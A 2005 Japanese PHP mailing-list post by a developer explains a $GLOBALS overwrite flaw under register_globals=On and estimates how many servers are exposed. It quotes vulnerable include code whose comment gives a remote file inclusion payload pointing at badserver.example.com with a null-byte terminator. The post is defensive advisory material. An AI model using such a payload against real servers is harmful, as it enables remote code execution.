[PHP-users 27419] Re: PHP4.4.0以下、PHP5.0.5以下に「重大」な脆弱性

Yasuo Ohgaki yohgaki @ ohgaki.net
2005年 11月 9日 (水) 04:54:33 JST


大垣です。

時間がかかってしまい申し訳なかったです。$GLOBALSが書き換えられる場合
問題となりそうなコードなども含めてまとめをブログに書きました。

http://blog.ohgaki.net/index.php/yohgaki/2005/11/09/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp_2

基本的にはregister_globals=Offに設定していれば影響は受けないと思いま
す。しかしregister_globals=Onでは割とよく見かけるコードが悪用可能にな
ります。

呼び出されたスクリプトのパスを基にライブラリへのパスを設定するコードの例
------ブログから抜粋--------
問題となるようなコードの例
<?php
// 呼び出されたスクリプトのディレクトリを取得
define('LIBPATH', dirname($_SERVER['SCRIPT_FILENAME']) . '/lib/');

// $_SERVER['SCRIPT_FILENAME']はサーバが設定する値なので信頼できる
// はずだが丸ごと$GLOBALSを書き換えられた場合信頼できない。

// ライブラリの初期化
include(LIBPATH . 'init.php');

攻撃者はLIBPATHに"http:badserver.example.com/bad-script.php\0"
// 等を設定してリモートスクリプトを実行できる
?>
--------------

このコードはregister_globals=onでも「安全」とされてきましたが$GLOBALS
を書き換えられる事により非常に危険コードになってしまいます。

ホワイトペーパーで例として挙げられていたPEAR.phpの悪用にはユーザが記述
したコードの手助け(バグ)が必要と思います。普通はありえない例とは思い
ますがこちらもブログに記述しておきましたが、自分自身でこれは普通あり得
ないと考えているコードなのでここでは省略します。

結論としては

- register_globals=Offなら普通に安全なコードを書いていれば大丈夫
- register_globals=Onにしていると安全なはずだった一般的なコードが
 非常に危険なコードとなる

といえると思います。

上記のサンプルコードを見ていただければ分かりますが、スクリプトの内部構造
を知らなくても同類のコードがあるか総当り攻撃行い脆弱性を悪用できます。
register_globals=Onである古いPHPサーバは危険と思います。

サーバシグニチャからはインターネット上の約7割のPHPは4.3.10以前らしいので
そのうちの数パーセントはregister_globals=Onであると推測できます。
先月の利用統計では約130万のPHPサーバが確認されているので数万台が険な状態、
PHPを利用しているドメインは2300万なので数十万ドメインが危険な状態である可
能性があります。

とは言えデフォルト設定がregister_globals=Onとなってかなりの時間が経過して
いるのでCriticalとは言えないかも知れません。しかし、一般的な企業が作成した
プログラム/システムのライフサイクルを考えるとCriticalであるとHardened-PHP
では考えていると思われます。
# 個人的にはCriticalではなくHighくらいで十分では無いかと思いますが。

最初のメール/ブログでは私自身も影響範囲を正しく理解していなかったので
register_globals=Off設定のサーバを運用されている方には無用と言えるご心配
をおかけした事をお詫び致します。

PHPの脆弱性をリストにしたものが見つけられなかったので自分のリストを公開し
ました。参考になれば幸いです。

http://wiki.ohgaki.net/index.php?PHP%2F%C0%C8%BC%E5%C0%AD%A5%EA%A5%B9%A5%C8

-- 
Yasuo Ohgaki




PHP-users メーリングリストの案内